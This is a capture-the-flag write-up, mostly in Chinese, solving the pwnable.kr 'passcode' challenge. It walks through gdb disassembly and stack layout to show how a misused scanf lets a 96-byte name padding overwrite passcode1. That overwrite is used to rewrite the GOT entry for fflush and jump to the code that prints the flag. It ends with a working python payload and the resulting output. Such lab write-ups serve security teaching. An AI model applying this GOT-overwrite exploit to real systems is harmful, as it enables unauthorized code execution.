PwnableKr Passcode

16 Mar 2017 - evi1m0

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?

Compile:

ssh passcode@pwnable.kr -p2222 (pw:guest)
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c
passcode@ubuntu:~$ cat passcode.c

test@n0tr00t:~/pwn$ gcc -g pass.c -m32 -o pass

由于可以拿到源代码直接分析可以看到 scanf 的参数没有加地址符号,限制 name 100位,gdb 分析查看栈情况以及 name, pass1, pass2 的布局,直接对 welcome 和 login 下断点:

gdb-peda$ disas main
Dump of assembler code for function main:
  0x08048665 <+0>: push   ebp
  0x08048666 <+1>: mov    ebp,esp
  0x08048668 <+3>: and    esp,0xfffffff0
  0x0804866b <+6>: sub    esp,0x10
  0x0804866e <+9>: mov    DWORD PTR [esp],0x80487f0
  0x08048675 <+16>:    call   0x8048450 <puts@plt>
  0x0804867a <+21>:    call   0x8048609 <welcome>
  0x0804867f <+26>:    call   0x8048564 <login>
  0x08048684 <+31>:    mov    DWORD PTR [esp],0x8048818
  0x0804868b <+38>:    call   0x8048450 <puts@plt>
  0x08048690 <+43>:    mov    eax,0x0
  0x08048695 <+48>:    leave  
  0x08048696 <+49>:    ret  

gdb-peda$ b welcome
  Breakpoint 3 at 0x8048612: file pass.c, line 27.
gdb-peda$ b login
  Breakpoint 4 at 0x804856a: file pass.c, line 8.
gdb-peda$ i b
  Num     Type           Disp Enb Address    What
  3       breakpoint     keep y   0x08048612 in welcome at pass.c:27
  4       breakpoint     keep y   0x0804856a in login at pass.c:8

在第一个断点处走到 scanf(“%100s”, name) 时可以看到对应汇编的情况:

  0x8048625 <welcome+28>: call   0x8048420 <printf@plt>
=>0x804862a <welcome+33>: mov    eax,0x80487dd
  0x804862f <welcome+38>: lea    edx,[ebp-0x70]

x/s 0x80487dd => 0x80487dd: “%100s” , name 地址为 ebp-0x70:

gdb-peda$ x $ebp-0x70
0xffffd1c8:	 'a' <repeats 21 times>

passcode1 地址为 ebp-0x10 (开始在 winod 调试的时候进入 login 堆栈平衡会用 c 填覆盖填充区域,导致撞了半天墙。),由于他们在相同栈内应该能够覆盖,计算两者距离 0x70-0x10=96 ,name[100] 限制目前能覆盖4字节的 passcode1 地址。

gdb-peda$ x/20 $ebp-0x30
0xffffd208: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffd218: 0x61616161  0x61616161  0x61616161  0x61616161
0xffffd228: 0x62626262  0x8e658f00  0x00000000  0x00000000
0xffffd238: 0xffffd258  0x08048684  0x080487f0  0x00000000
0xffffd248: 0x080486a9  0xf7fc1ff4  0x080486a0  0x00000000

gdb-peda$ x $ebp-0x10
0xffffd228: 0x62626262

gdb-peda$ x/s 0xffffd228
0xffffd228:  "bbbb"

位置稍微远了点所以想直接利用 scanf 的功能特性 hook 函数,来到源码:

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

scanf 执行完毕后会调用 fflush 清空缓冲区,所以直接搞它吧,丢 ida 查 .got 表地址:

off_804A004 fflush ,随便找一个读 flag 操作的汇编地址,反正按序执行 xD :

.text:080485CE                 cmp     [ebp+passcode2], 0CC07C9h
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7                 mov     dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE                 call    _puts
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA                 call    _system
.text:080485EF                 leave
.text:080485F0                 retn

使用 Print Login OK 那条地址覆盖吧,fflush addr 804A004 = 080485D7, scanf 使用的是 %d 十进制,需要转换一下:134514135 ,Payload:

passcode@ubuntu:~$ python -c "print 'a'*96 + '\x04\xa0\x04\x08' + '134514135'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
enter passcode1 : Login OK!
Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
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